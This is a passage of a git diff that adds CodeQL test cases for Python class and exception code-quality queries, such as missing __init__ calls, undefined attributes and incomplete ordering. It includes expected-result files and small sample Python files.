OK3(ExpectingAttribute): + + def __init__(self): + self.x = 4 + diff --git a/python/ql/test/query-tests/Classes/incomplete-ordering/IncompleteOrdering.expected b/python/ql/test/query-tests/Classes/incomplete-ordering/IncompleteOrdering.expected new file mode 100644 index 00000000000..cac33e836a9 --- /dev/null +++ b/python/ql/test/query-tests/Classes/incomplete-ordering/IncompleteOrdering.expected @@ -0,0 +1 @@ +| incomplete_ordering.py:3:1:3:26 | class PartOrdered | Class PartOrdered implements $@, but does not implement __le__ or __gt__ or __ge__. | incomplete_ordering.py:13:5:13:28 | Function __lt__ | __lt__ | diff --git a/python/ql/test/query-tests/Classes/incomplete-ordering/IncompleteOrdering.qlref b/python/ql/test/query-tests/Classes/incomplete-ordering/IncompleteOrdering.qlref new file mode 100644 index 00000000000..3387dad807a --- /dev/null +++ b/python/ql/test/query-tests/Classes/incomplete-ordering/IncompleteOrdering.qlref @@ -0,0 +1 @@ +Classes/IncompleteOrdering.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Classes/incomplete-ordering/incomplete_ordering.py b/python/ql/test/query-tests/Classes/incomplete-ordering/incomplete_ordering.py new file mode 100644 index 00000000000..3c7514d7a83 --- /dev/null +++ b/python/ql/test/query-tests/Classes/incomplete-ordering/incomplete_ordering.py @@ -0,0 +1,18 @@ +#Incomplete ordering + +class PartOrdered(object): + def __eq__(self, other): + return self is other + + def __ne__(self, other): + return self is not other + + def __hash__(self): + return id(self) + + def __lt__(self, other): + return False + +#Don't blame a sub-class for super-class's sins. +class DerivedPartOrdered(PartOrdered): + pass \ No newline at end of file diff --git a/python/ql/test/query-tests/Classes/init-calls-subclass-method/InitCallsSubclassMethod.expected b/python/ql/test/query-tests/Classes/init-calls-subclass-method/InitCallsSubclassMethod.expected new file mode 100644 index 00000000000..d3cde45c1ff --- /dev/null +++ b/python/ql/test/query-tests/Classes/init-calls-subclass-method/InitCallsSubclassMethod.expected @@ -0,0 +1 @@ +| init_calls_subclass.py:7:9:7:24 | Attribute() | Call to self.$@ in __init__ method, which is overridden by $@. | init_calls_subclass.py:10:5:10:26 | Function set_up | set_up | init_calls_subclass.py:19:5:19:26 | Function set_up | method Sub.set_up | diff --git a/python/ql/test/query-tests/Classes/init-calls-subclass-method/InitCallsSubclassMethod.qlref b/python/ql/test/query-tests/Classes/init-calls-subclass-method/InitCallsSubclassMethod.qlref new file mode 100644 index 00000000000..f820a30b11a --- /dev/null +++ b/python/ql/test/query-tests/Classes/init-calls-subclass-method/InitCallsSubclassMethod.qlref @@ -0,0 +1 @@ +Classes/InitCallsSubclassMethod.ql diff --git a/python/ql/test/query-tests/Classes/init-calls-subclass-method/init_calls_subclass.py b/python/ql/test/query-tests/Classes/init-calls-subclass-method/init_calls_subclass.py new file mode 100644 index 00000000000..3248f8d8303 --- /dev/null +++ b/python/ql/test/query-tests/Classes/init-calls-subclass-method/init_calls_subclass.py @@ -0,0 +1,22 @@ +#Superclass __init__ calls subclass method + +class Super(object): + + def __init__(self, arg): + self._state = "Not OK" + self.set_up(arg) + self._state = "OK" + + def set_up(self, arg): + "Do some set up" + +class Sub(Super): + + def __init__(self, arg): + Super.__init__(self, arg) + self.important_state = "OK" + + def set_up(self, arg): + Super.set_up(self, arg) + "Do some more set up" # Dangerous as self._state is "Not OK" and + # self.important_state is uninitialized \ No newline at end of file diff --git a/python/ql/test/query-tests/Classes/missing-del/MissingCallToDel.expected b/python/ql/test/query-tests/Classes/missing-del/MissingCallToDel.expected new file mode 100644 index 00000000000..7f080b1d729 --- /dev/null +++ b/python/ql/test/query-tests/Classes/missing-del/MissingCallToDel.expected @@ -0,0 +1 @@ +| missing_del.py:12:1:12:13 | class X3 | Class X3 may not be cleaned up properly as $@ is not called during deletion. | missing_del.py:9:5:9:22 | Function __del__ | method X2.__del__ | diff --git a/python/ql/test/query-tests/Classes/missing-del/MissingCallToDel.qlref b/python/ql/test/query-tests/Classes/missing-del/MissingCallToDel.qlref new file mode 100644 index 00000000000..8bf1811d0fa --- /dev/null +++ b/python/ql/test/query-tests/Classes/missing-del/MissingCallToDel.qlref @@ -0,0 +1 @@ +Classes/MissingCallToDel.ql diff --git a/python/ql/test/query-tests/Classes/missing-del/missing_del.py b/python/ql/test/query-tests/Classes/missing-del/missing_del.py new file mode 100644 index 00000000000..5d4e30e681d --- /dev/null +++ b/python/ql/test/query-tests/Classes/missing-del/missing_del.py @@ -0,0 +1,15 @@ +#Not calling an __del__ method: +class X1(object): + + def __del__(self): + pass + +class X2(X1): + + def __del__(self): + X1.__del__(self) + +class X3(X2): + + def __del__(self): + X1.__del__(self) diff --git a/python/ql/test/query-tests/Classes/missing-init/MissingCallToInit.expected b/python/ql/test/query-tests/Classes/missing-init/MissingCallToInit.expected new file mode 100644 index 00000000000..6cb92041a63 --- /dev/null +++ b/python/ql/test/query-tests/Classes/missing-init/MissingCallToInit.expected @@ -0,0 +1,3 @@ +| missing_init.py:12:1:12:13 | class B3 | Class B3 may not be initialized properly as $@ is not called from its $@. | missing_init.py:9:5:9:23 | Function __init__ | method B2.__init__ | missing_init.py:14:5:14:23 | Function __init__ | __init__ method | +| missing_init.py:39:1:39:21 | class IUVT | Class IUVT may not be initialized properly as $@ is not called from its $@. | missing_init.py:30:5:30:23 | Function __init__ | method UT.__init__ | missing_init.py:26:5:26:23 | Function __init__ | __init__ method | +| missing_init.py:72:1:72:13 | class AB | Class AB may not be initialized properly as $@ is not called from its $@. | missing_init.py:69:5:69:23 | Function __init__ | method AA.__init__ | missing_init.py:75:5:75:23 | Function __init__ | __init__ method | diff --git a/python/ql/test/query-tests/Classes/missing-init/MissingCallToInit.qlref b/python/ql/test/query-tests/Classes/missing-init/MissingCallToInit.qlref new file mode 100644 index 00000000000..b8635a5f8d9 --- /dev/null +++ b/python/ql/test/query-tests/Classes/missing-init/MissingCallToInit.qlref @@ -0,0 +1 @@ +Classes/MissingCallToInit.ql diff --git a/python/ql/test/query-tests/Classes/missing-init/missing_init.py b/python/ql/test/query-tests/Classes/missing-init/missing_init.py new file mode 100644 index 00000000000..20909805004 --- /dev/null +++ b/python/ql/test/query-tests/Classes/missing-init/missing_init.py @@ -0,0 +1,185 @@ +#Not calling an __init__ method: +class B1(object): + + def __init__(self): + do_something() + +class B2(B1): + + def __init__(self): + B1.__init__(self) + +class B3(B2): + + def __init__(self): + B1.__init__(self) + +#OK if superclass __init__ is builtin as +#builtin classes tend to rely on __new__ +class MyException(Exception): + + def __init__(self): + self.message = "Uninformative" + +#ODASA-4107 +class IUT(object): + def __init__(self): + print("IUT init") + +class UT(object): + def __init__(self): + print("UT init") + +class PU(object): + pass + +class UVT(UT, PU): + pass + +class IUVT(IUT, UVT): + pass + +#False positive observed on LGTM +class M1(object): + def __init__(self): + print("A") + +class M2(object): + pass + +class Mult(M2, M1): + def __init__(self): + super(Mult, self).__init__() # Calls M1.__init__ + +class X: + def __init__(self): + do_something() + +class Y(X): + @decorated + def __init__(self): + X.__init__(self) + +class Z(Y): + def __init__(self): + Y.__init__(self) + +class AA(object): + + def __init__(self): + do_something() + +class AB(AA): + + #Don't call super class init + def __init__(self): + do_something() + +class AC(AB): + + def __init__(self): + #Missing call to AA.__init__ but not AC's fault. + super(AC, self).__init__() + +import six +import abc + +class BA(object): + + def __init__(self): + do_something() + +@six.add_metaclass(abc.ABCMeta) +class BB(BA): + + def __init__(self): + super(BB,self).__init__() + + +@six.add_metaclass(abc.ABCMeta) +class CA(object): + + def __init__(self): + do_something() + +class CB(BA): + + def __init__(self): + super(CB,self).__init__() + +#ODASA-5799 +class DA(object): + + def __init__(self): + do_something() + +class DB(DA): + + class DC(DA): + + def __init__(self): + sup = super(DB.DC, self) + sup.__init__() + +#Simpler variants +class DD(DA): + + def __init__(self): + sup = super(DD, self) + sup.__init__() + +class DE(DA): + + class DF(DA): + + def __init__(self): + sup = super(DE.DF, self).__init__() + +class FA(object): + + def __init__(self): + pass + +class FB(object): + + def __init__(self): + do_something() + +class FC(FA, FB): + + def __init__(self): + #OK to skip call to FA.__init__ as that does nothing. + FB.__init__(self) + +#Potential false positives. + +class ConfusingInit(B1): + + def __init__(self): + super_call = super(ConfusingInit, self).__init__ + super_call() + + +# Library class +import collections + +class G1(collections.Counter): + + def __init__(self): + collections.Counter.__init__(self) + +class G2(G1): + + def __init__(self): + super(G2, self).__init__() + +class G3(collections.Counter): + + def __init__(self): + super(G3, self).__init__() + +class G4(G3): + + def __init__(self): + G3.__init__(self) + diff --git a/python/ql/test/query-tests/Classes/multiple/SuperclassDelCalledMultipleTimes.expected b/python/ql/test/query-tests/Classes/multiple/SuperclassDelCalledMultipleTimes.expected new file mode 100644 index 00000000000..210f24c7525 --- /dev/null +++ b/python/ql/test/query-tests/Classes/multiple/SuperclassDelCalledMultipleTimes.expected @@ -0,0 +1,2 @@ +| multiple_del.py:17:1:17:17 | class Y3 | Class Y3 may not be cleaned up properly as $@ may be called multiple times during destruction. | multiple_del.py:9:5:9:22 | Function __del__ | method Y1.__del__ | +| multiple_del.py:34:1:34:17 | class Z3 | Class Z3 may not be cleaned up properly as $@ may be called multiple times during destruction. | multiple_del.py:26:5:26:22 | Function __del__ | method Z1.__del__ | diff --git a/python/ql/test/query-tests/Classes/multiple/SuperclassDelCalledMultipleTimes.qlref b/python/ql/test/query-tests/Classes/multiple/SuperclassDelCalledMultipleTimes.qlref new file mode 100644 index 00000000000..560d7b7dc41 --- /dev/null +++ b/python/ql/test/query-tests/Classes/multiple/SuperclassDelCalledMultipleTimes.qlref @@ -0,0 +1 @@ +Classes/SuperclassDelCalledMultipleTimes.ql diff --git a/python/ql/test/query-tests/Classes/multiple/SuperclassInitCalledMultipleTimes.expected b/python/ql/test/query-tests/Classes/multiple/SuperclassInitCalledMultipleTimes.expected new file mode 100644 index 00000000000..04ce8c0f373 --- /dev/null +++ b/python/ql/test/query-tests/Classes/multiple/SuperclassInitCalledMultipleTimes.expected @@ -0,0 +1,2 @@ +| multiple_init.py:17:1:17:17 | class C3 | Class C3 may not be initialized properly as $@ may be called multiple times during initialization. | multiple_init.py:9:5:9:23 | Function __init__ | method C1.__init__ | +| multiple_init.py:34:1:34:17 | class D3 | Class D3 may not be initialized properly as $@ may be called multiple times during initialization. | multiple_init.py:26:5:26:23 | Function __init__ | method D1.__init__ | diff --git a/python/ql/test/query-tests/Classes/multiple/SuperclassInitCalledMultipleTimes.qlref b/python/ql/test/query-tests/Classes/multiple/SuperclassInitCalledMultipleTimes.qlref new file mode 100644 index 00000000000..042ddb76904 --- /dev/null +++ b/python/ql/test/query-tests/Classes/multiple/SuperclassInitCalledMultipleTimes.qlref @@ -0,0 +1 @@ +Classes/SuperclassInitCalledMultipleTimes.ql diff --git a/python/ql/test/query-tests/Classes/multiple/multiple_del.py b/python/ql/test/query-tests/Classes/multiple/multiple_del.py new file mode 100644 index 00000000000..284f6bf6969 --- /dev/null +++ b/python/ql/test/query-tests/Classes/multiple/multiple_del.py @@ -0,0 +1,38 @@ +#Calling a method multiple times by using explicit calls when a base uses super() +class Base(object): + + def __del__(self): + pass + +class Y1(Base): + + def __del__(self): + super(Y1, self).__del__() + +class Y2(Base): + + def __del__(self): + super(Y2, self).__del__() #When `type(self) == Y3` this calls `Y1.__del__` + +class Y3(Y2, Y1): + + def __del__(self): + Y1.__del__(self) + Y2.__del__(self) + +#Calling a method multiple times by using explicit calls when a base inherits from other base +class Z1(object): + + def __del__(self): + pass + +class Z2(Z1): + + def __del__(self): + Z1.__del__(self) + +class Z3(Z2, Z1): + + def __del__(self): + Z1.__del__(self) + Z2.__del__(self) diff --git a/python/ql/test/query-tests/Classes/multiple/multiple_init.py b/python/ql/test/query-tests/Classes/multiple/multiple_init.py new file mode 100644 index 00000000000..6a97ef67f6c --- /dev/null +++ b/python/ql/test/query-tests/Classes/multiple/multiple_init.py @@ -0,0 +1,76 @@ +#Calling a method multiple times by using explicit calls when a base uses super() +class Base(object): + + def __init__(self): + pass + +class C1(Base): + + def __init__(self): + super(C1, self).__init__() + +class C2(Base): + + def __init__(self): + super(C2, self).__init__() #When `type(self) == C3` this calls `C1.__init__` + +class C3(C2, C1): + + def __init__(self): + C1.__init__(self) + C2.__init__(self) + +#Calling a method multiple times by using explicit calls when a base inherits from other base +class D1(object): + + def __init__(self): + pass + +class D2(D1): + + def __init__(self): + D1.__init__(self) + +class D3(D2, D1): + + def __init__(self): + D1.__init__(self) + D2.__init__(self) + +#OK to call object.__init__ multiple times +class E1(object): + + def __init__(self): + super(E1, self).__init__() + +class E2(object): + + def __init__(self): + object.__init__(self) + +class E3(E2, E1): + + def __init__(self): + E1.__init__(self) + E2.__init__(self) + +#Two invocations, but can only be called once +class F1(Base): + + def __init__(self, cond): + if cond: + Base.__init__(self) + else: + Base.__init__(self) + +#Single call, splitting causes what seems to be multiple invocations. +class F2(Base): + + def __init__(self, cond): + if cond: + pass + if cond: + pass + Base.__init__(self) + + diff --git a/python/ql/test/query-tests/Classes/overwriting-attribute/OverwritingAttributeInSuperClass.expected b/python/ql/test/query-tests/Classes/overwriting-attribute/OverwritingAttributeInSuperClass.expected new file mode 100644 index 00000000000..a396d393db1 --- /dev/null +++ b/python/ql/test/query-tests/Classes/overwriting-attribute/OverwritingAttributeInSuperClass.expected @@ -0,0 +1,2 @@ +| overwriting_attribute.py:5:9:5:20 | AssignStmt | Assignment overwrites attribute var, which was previously defined in subclass $@. | overwriting_attribute.py:10:9:10:20 | AssignStmt | D | +| overwriting_attribute.py:23:9:23:20 | AssignStmt | Assignment overwrites attribute var, which was previously defined in superclass $@. | overwriting_attribute.py:17:9:17:20 | AssignStmt | E | diff --git a/python/ql/test/query-tests/Classes/overwriting-attribute/OverwritingAttributeInSuperClass.qlref b/python/ql/test/query-tests/Classes/overwriting-attribute/OverwritingAttributeInSuperClass.qlref new file mode 100644 index 00000000000..b29c4d25025 --- /dev/null +++ b/python/ql/test/query-tests/Classes/overwriting-attribute/OverwritingAttributeInSuperClass.qlref @@ -0,0 +1 @@ +Classes/OverwritingAttributeInSuperClass.ql diff --git a/python/ql/test/query-tests/Classes/overwriting-attribute/overwriting_attribute.py b/python/ql/test/query-tests/Classes/overwriting-attribute/overwriting_attribute.py new file mode 100644 index 00000000000..0372db0b215 --- /dev/null +++ b/python/ql/test/query-tests/Classes/overwriting-attribute/overwriting_attribute.py @@ -0,0 +1,23 @@ +#Attribute set in both superclass and subclass +class C(object): + + def __init__(self): + self.var = 0 + +class D(C): + + def __init__(self): + self.var = 1 # self.var will be overwritten + C.__init__(self) + +#Attribute set in both superclass and subclass +class E(object): + + def __init__(self): + self.var = 0 # self.var will be overwritten + +class F(E): + + def __init__(self): + E.__init__(self) + self.var = 1 diff --git a/python/ql/test/query-tests/Classes/should-be-context-manager/ShouldBeContextManager.expected b/python/ql/test/query-tests/Classes/should-be-context-manager/ShouldBeContextManager.expected new file mode 100644 index 00000000000..47c773804ae --- /dev/null +++ b/python/ql/test/query-tests/Classes/should-be-context-manager/ShouldBeContextManager.expected @@ -0,0 +1,2 @@ +| should_be_context_manager.py:3:1:3:22 | class MegaDel | Class MegaDel implements __del__ (presumably to release some resource). Consider making it a context manager. | +| should_be_context_manager.py:16:1:16:22 | class MiniDel | Class MiniDel implements __del__ (presumably to release some resource). Consider making it a context manager. | diff --git a/python/ql/test/query-tests/Classes/should-be-context-manager/ShouldBeContextManager.qlref b/python/ql/test/query-tests/Classes/should-be-context-manager/ShouldBeContextManager.qlref new file mode 100644 index 00000000000..f555b0af07a --- /dev/null +++ b/python/ql/test/query-tests/Classes/should-be-context-manager/ShouldBeContextManager.qlref @@ -0,0 +1 @@ +Classes/ShouldBeContextManager.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Classes/should-be-context-manager/should_be_context_manager.py b/python/ql/test/query-tests/Classes/should-be-context-manager/should_be_context_manager.py new file mode 100644 index 00000000000..68fc81206a3 --- /dev/null +++ b/python/ql/test/query-tests/Classes/should-be-context-manager/should_be_context_manager.py @@ -0,0 +1,22 @@ +#Should be context manager + +class MegaDel(object): + + def __del__(self): + a = self.x + self.y + if a: + print(a) + if sys._getframe().f_lineno > 100: + print("Hello") + sum = 0 + for a in range(100): + sum += a + print(sum) + +class MiniDel(object): + + def close(self): + pass + + def __del__(self): + self.close() \ No newline at end of file diff --git a/python/ql/test/query-tests/Classes/subclass-shadowing/SubclassShadowing.expected b/python/ql/test/query-tests/Classes/subclass-shadowing/SubclassShadowing.expected new file mode 100644 index 00000000000..ae922ef5264 --- /dev/null +++ b/python/ql/test/query-tests/Classes/subclass-shadowing/SubclassShadowing.expected @@ -0,0 +1 @@ +| subclass_shadowing.py:10:5:10:21 | FunctionExpr | Method shadow is shadowed by $@ in super class 'Base'. | subclass_shadowing.py:6:9:6:23 | AssignStmt | an attribute | diff --git a/python/ql/test/query-tests/Classes/subclass-shadowing/SubclassShadowing.qlref b/python/ql/test/query-tests/Classes/subclass-shadowing/SubclassShadowing.qlref new file mode 100644 index 00000000000..5fed3f9f8fc --- /dev/null +++ b/python/ql/test/query-tests/Classes/subclass-shadowing/SubclassShadowing.qlref @@ -0,0 +1 @@ +Classes/SubclassShadowing.ql diff --git a/python/ql/test/query-tests/Classes/subclass-shadowing/subclass_shadowing.py b/python/ql/test/query-tests/Classes/subclass-shadowing/subclass_shadowing.py new file mode 100644 index 00000000000..98e7f992e84 --- /dev/null +++ b/python/ql/test/query-tests/Classes/subclass-shadowing/subclass_shadowing.py @@ -0,0 +1,30 @@ +#Subclass shadowing + +class Base(object): + + def __init__(self): + self.shadow = 4 + +class Derived(Base): + + def shadow(self): + pass + + +#OK if the super class defines the method as well. +#Since the original method must exist for some reason. +#See JSONEncoder.default for real example + +class Base2(object): + + def __init__(self, shadowy=None): + if shadowy: + self.shadow = shadowy + + def shadow(self): + pass + +class Derived2(Base2): + + def shadow(self): + return 0 diff --git a/python/ql/test/query-tests/Classes/undefined-attribute/MaybeUndefinedClassAttribute.expected b/python/ql/test/query-tests/Classes/undefined-attribute/MaybeUndefinedClassAttribute.expected new file mode 100644 index 00000000000..1aebf13f2bc --- /dev/null +++ b/python/ql/test/query-tests/Classes/undefined-attribute/MaybeUndefinedClassAttribute.expected @@ -0,0 +1,4 @@ +| undefined_attribute.py:27:16:27:29 | Attribute | Attribute 'may_exist' is not defined in the class body nor in the __init__() method, but it is defined $@ | undefined_attribute.py:11:9:11:22 | Attribute | here | +| undefined_attribute.py:184:16:184:32 | Attribute | Attribute 'return_queue' is not defined in the class body nor in the __init__() method, but it is defined $@ | undefined_attribute.py:181:13:181:29 | Attribute | here | +| undefined_attribute.py:257:16:257:31 | Attribute | Attribute 'glance_host' is not defined in the class body nor in the __init__() method, but it is defined $@ | undefined_attribute.py:262:13:262:28 | Attribute | here | +| undefined_attribute.py:258:16:258:31 | Attribute | Attribute 'glance_port' is not defined in the class body nor in the __init__() method, but it is defined $@ | undefined_attribute.py:263:10:263:25 | Attribute | here | diff --git a/python/ql/test/query-tests/Classes/undefined-attribute/MaybeUndefinedClassAttribute.qlref b/python/ql/test/query-tests/Classes/undefined-attribute/MaybeUndefinedClassAttribute.qlref new file mode 100644 index 00000000000..d4986ffc84c --- /dev/null +++ b/python/ql/test/query-tests/Classes/undefined-attribute/MaybeUndefinedClassAttribute.qlref @@ -0,0 +1 @@ +Classes/MaybeUndefinedClassAttribute.ql diff --git a/python/ql/test/query-tests/Classes/undefined-attribute/UndefinedClassAttribute.expected b/python/ql/test/query-tests/Classes/undefined-attribute/UndefinedClassAttribute.expected new file mode 100644 index 00000000000..deb82710cf5 --- /dev/null +++ b/python/ql/test/query-tests/Classes/undefined-attribute/UndefinedClassAttribute.expected @@ -0,0 +1,4 @@ +| undefined_attribute.py:24:16:24:30 | Attribute | Attribute 'not_exists' is not defined in either the class body or in any method | +| undefined_attribute.py:109:16:109:21 | Attribute | Attribute 'y' is not defined in either the class body or in any method | +| undefined_attribute.py:250:16:250:31 | Attribute | Attribute 'glance_host' is not defined in either the class body or in any method | +| undefined_attribute.py:251:16:251:31 | Attribute | Attribute 'glance_port' is not defined in either the class body or in any method | diff --git a/python/ql/test/query-tests/Classes/undefined-attribute/UndefinedClassAttribute.qlref b/python/ql/test/query-tests/Classes/undefined-attribute/UndefinedClassAttribute.qlref new file mode 100644 index 00000000000..7ac0a3b18b7 --- /dev/null +++ b/python/ql/test/query-tests/Classes/undefined-attribute/UndefinedClassAttribute.qlref @@ -0,0 +1 @@ +Classes/UndefinedClassAttribute.ql diff --git a/python/ql/test/query-tests/Classes/undefined-attribute/undefined_attribute.py b/python/ql/test/query-tests/Classes/undefined-attribute/undefined_attribute.py new file mode 100644 index 00000000000..0eec9974ef1 --- /dev/null +++ b/python/ql/test/query-tests/Classes/undefined-attribute/undefined_attribute.py @@ -0,0 +1,263 @@ +#Non existent class attribute + +class Attributes(object): + + exists1 = 1 + + def __init__(self): + self.exists2 = 2 + + def method(self): + self.may_exist = 3 + + def ok1(self): + print (self.exists1) + + def ok2(self): + print (self.exists2) + + def ok3(self): + self.local_exists = 4 + print (self.local_exists) + + def neca1(self): + print (self.not_exists) + + def neca2(self): + print (self.may_exist) + +#This is OK +class SetViaDict(object): + + def __init__(self, x): + self.__dict__['x'] = x + + def use_x(self): + return self.x + + +#This is also OK +class SetLocally(object): + + def use_x(self): + self.x = 1 + return self.x + + +class UsesSetattr(object): + + def __init__(self, vals): + for k, v in vals.items(): + setattr(self, k, v) + + def use_values(self): + return self.x, self.y, self.z + +#OK +class GuardedByHasAttr(object): + + def ok4(self): + if hasattr(self, "x"): + return self.x + else: + return None + +class HasGetAttr(object): + + def __getattr__(self, name): + return name + + def use_values(self): + return self.x, self.y, self.z + +class HasGetAttribute(object): + + def __getattribute__(self, name): + return name + + def use_values(self): + return self.x, self.y, self.z + + + + + + + + + + + + + + + + +class DecoratedInit(object): + + @decorator + def __init__(self): + self.x = x + + def use(self): + return self.x + +#This is not OK +class NoInit(object): + + def use_y(self): + return self.y + +#This is also OK +class SetLocally2(object): + + def __init__(self): + pass + + def use_y(self): + self.x = 0 + self.y = 1 + if cond: + print(self.y) + else: + return False + return self.y + +#Guarded +class Guarded(object): + + def __init__(self): + self.guard = False + + def set_x(self): + self.guard = True + self.x = 1 + + def use_x(self): + if self.guard: + return self.x + else: + return 0 + +#ODASA-2034 +class ODASA2034A(object): + + def __init__(self, data): + d = self.__dict__ + d['data'] = data + + def use_data(self): + return self.data + +class ODASA2034B(object): + + def __init__(self, key, value): + d = self.__dict__ + d[key] = value + + def use_data(self): + return self.data + + +class Test5(object): + + def readFromStream(stream): + word = stream.read(4) + if word == "true": + return BooleanObject(True) + elif word == "fals": + stream.read(1) + return BooleanObject(False) + assert False + readFromStream = staticmethod(readFromStream) + + +class Test1(object): + + def __init__(self, application): + self.rabbitmq_channel = None + + def queue_declared(frame): # called in callback + self.return_queue = frame.method.queue + + def use_it(self): + return self.return_queue + + +#Check for FPs when overriding builtin methods + +class PrintingDict(dict): + + def pop(self): + print ("pop") + return dict.pop(self) + + def __setitem__(self, key, value): + print("__setitem__") + return dict.__setitem__(self, key, value) + +#Locally set by Call +#ODASA-4612 +class WSGIContext(object): + + def _app_call(self, env): + self._response_headers = None + + +class Odasa4612(WSGIContext): + + def meth1(self, arg): + val = self._app_call(arg) + if self._response_headers is None: + self._response_headers = [] + + + +class OK9(object): + cls_attr = 0 + def __init__(self): + self.attr = self.cls_attr + + + +class Foo1(object): + pass + +foo = Foo1() +setattr(foo, 'a', 1) +assert foo.a == 1 + +class Foo2(object): + pass + +setattr(Foo2, 'a', 1) +assert Foo2.a == 1 + +# False positive observed at customer + +class Customer1(object): + + def x(self): + if not hasattr(self, "attr"): + return None + else: + return self.attr + +#ODASA-4619 +class Odasa4619a(object): + + def call(self): + host = self.glance_host + port = self.glance_port + + +class Odasa4619b(object): + + def call(self): + host = self.glance_host + port = self.glance_port + + @decorator + def foo(self): + (x, self.glance_host, + self.glance_port, y) = bar() diff --git a/python/ql/test/query-tests/Classes/useless/UselessClass.expected b/python/ql/test/query-tests/Classes/useless/UselessClass.expected new file mode 100644 index 00000000000..f4f62cd80c7 --- /dev/null +++ b/python/ql/test/query-tests/Classes/useless/UselessClass.expected @@ -0,0 +1,2 @@ +| test.py:28:1:28:23 | Class Useless1 | Class Useless1 defines only one public method, which should be replaced by a function. | +| test.py:37:1:37:23 | Class Useless2 | Class Useless2 defines only one public method, which should be replaced by a function. | diff --git a/python/ql/test/query-tests/Classes/useless/UselessClass.qlref b/python/ql/test/query-tests/Classes/useless/UselessClass.qlref new file mode 100644 index 00000000000..9c8e87e962c --- /dev/null +++ b/python/ql/test/query-tests/Classes/useless/UselessClass.qlref @@ -0,0 +1 @@ +Classes/UselessClass.ql diff --git a/python/ql/test/query-tests/Classes/useless/test.py b/python/ql/test/query-tests/Classes/useless/test.py new file mode 100644 index 00000000000..40c9e56e117 --- /dev/null +++ b/python/ql/test/query-tests/Classes/useless/test.py @@ -0,0 +1,65 @@ + +#Useless class + +class Useful1(object): + + def __init__(self): + pass + + def do_something(self): + pass + + def do_something_else(self): + pass + + def do_yet_another_thing(self): + pass + + +class Useful2(object): + + def do_something(self): + pass + + def do_something_else(self): + pass + + +class Useless1(object): + + def __init__(self): + pass + + def do_something(self): + pass + + +class Useless2(object): + + def do_something(self): + pass + +class Stateful1(object): + + def __init__(self): + self.data = [] + + def do_something(self, x): + self.data.append(x) + + +class Stateful2(object): + + def __init__(self): + self.data = None + + def do_something(self, x): + self.data = x + +class Inherited(object): + pass + +class Inherits(Inherited): + + def do_something(self): + pass diff --git a/python/ql/test/query-tests/Exceptions/general/CatchingBaseException.expected b/python/ql/test/query-tests/Exceptions/general/CatchingBaseException.expected new file mode 100644 index 00000000000..8cbb6d9c961 --- /dev/null +++ b/python/ql/test/query-tests/Exceptions/general/CatchingBaseException.expected @@ -0,0 +1,2 @@ +| exceptions_test.py:7:5:7:11 | ExceptStmt | Except block directly handles BaseException. | +| exceptions_test.py:71:5:71:25 | ExceptStmt | Except block directly handles BaseException. | diff --git a/python/ql/test/query-tests/Exceptions/general/CatchingBaseException.qlref b/python/ql/test/query-tests/Exceptions/general/CatchingBaseException.qlref new file mode 100644 index 00000000000..5588dbf2c7b --- /dev/null +++ b/python/ql/test/query-tests/Exceptions/general/CatchingBaseException.qlref @@ -0,0 +1 @@ +Exceptions/CatchingBaseException.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Exceptions/general/EmptyExcept.expected b/python/ql/test/query-tests/Exceptions/general/EmptyExcept.expected new file mode 100755 index 00000000000..57c50449af8 --- /dev/null +++ b/python/ql/test/query-tests/Exceptions/general/EmptyExcept.expected @@ -0,0 +1,2 @@ +| exceptions_test.py:7:5:7:11 | ExceptStmt | 'except' clause does nothing but pass and there is no explanatory comment. | +| exceptions_test.py:13:5:13:21 | ExceptStmt | 'except' clause does nothing but pass and there is no explanatory comment. | diff --git a/python/ql/test/query-tests/Exceptions/general/EmptyExcept.qlref b/python/ql/test/query-tests/Exceptions/general/EmptyExcept.qlref new file mode 100644 index 00000000000..3f4987046b1 --- /dev/null +++ b/python/ql/test/query-tests/Exceptions/general/EmptyExcept.qlref @@ -0,0 +1 @@ +Exceptions/EmptyExcept.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Exceptions/general/IllegalExceptionHandlerType.expected b/python/ql/test/query-tests/Exceptions/general/IllegalExceptionHandlerType.expected new file mode 100644 index 00000000000..0864dd0fe30 --- /dev/null +++ b/python/ql/test/query-tests/Exceptions/general/IllegalExceptionHandlerType.expected @@ -0,0 +1,4 @@ +| exceptions_test.py:51:5:51:25 | ExceptStmt | Non-exception $@ in exception handler which will never match raised exception. | exceptions_test.py:33:1:33:28 | ControlFlowNode for ClassExpr | class 'NotException1' | +| exceptions_test.py:54:5:54:25 | ExceptStmt | Non-exception $@ in exception handler which will never match raised exception. | exceptions_test.py:36:1:36:28 | ControlFlowNode for ClassExpr | class 'NotException2' | +| exceptions_test.py:112:5:112:22 | ExceptStmt | Non-exception $@ in exception handler which will never match raised exception. | exceptions_test.py:107:12:107:14 | ControlFlowNode for FloatLiteral | instance of 'float' | +| pypy_test.py:14:5:14:14 | ExceptStmt | Non-exception $@ in exception handler which will never match raised exception. | pypy_test.py:14:12:14:13 | ControlFlowNode for IntegerLiteral | instance of 'int' | diff --git a/python/ql/test/query-tests/Exceptions/general/IllegalExceptionHandlerType.qlref b/python/ql/test/query-tests/Exceptions/general/IllegalExceptionHandlerType.qlref new file mode 100644 index 00000000000..6d49710a759 --- /dev/null +++ b/python/ql/test/query-tests/Exceptions/general/IllegalExceptionHandlerType.qlref @@ -0,0 +1 @@ +Exceptions/IllegalExceptionHandlerType.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Exceptions/general/IllegalRaise.expected b/python/ql/test/query-tests/Exceptions/general/IllegalRaise.expected new file mode 100644 index 00000000000..2625bb14a96 --- /dev/null +++ b/python/ql/test/query-tests/Exceptions/general/IllegalRaise.expected @@ -0,0 +1,3 @@ +| exceptions_test.py:40:5:40:23 | Raise | Illegal class 'NotException1' raised; will result in a TypeError being raised instead. | +| exceptions_test.py:43:5:43:21 | Raise | Illegal class 'str' raised; will result in a TypeError being raised instead. | +| exceptions_test.py:46:5:46:25 | Raise | Illegal class 'NotException2' raised; will result in a TypeError being raised instead. | diff --git a/python/ql/test/query-tests/Exceptions/general/IllegalRaise.qlref b/python/ql/test/query-tests/Exceptions/general/IllegalRaise.qlref new file mode 100644 index 00000000000..5a515d5656d --- /dev/null +++ b/python/ql/test/query-tests/Exceptions/general/IllegalRaise.qlref @@ -0,0 +1 @@ +Exceptions/IllegalRaise.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Exceptions/general/IncorrectExceptOrder.expected 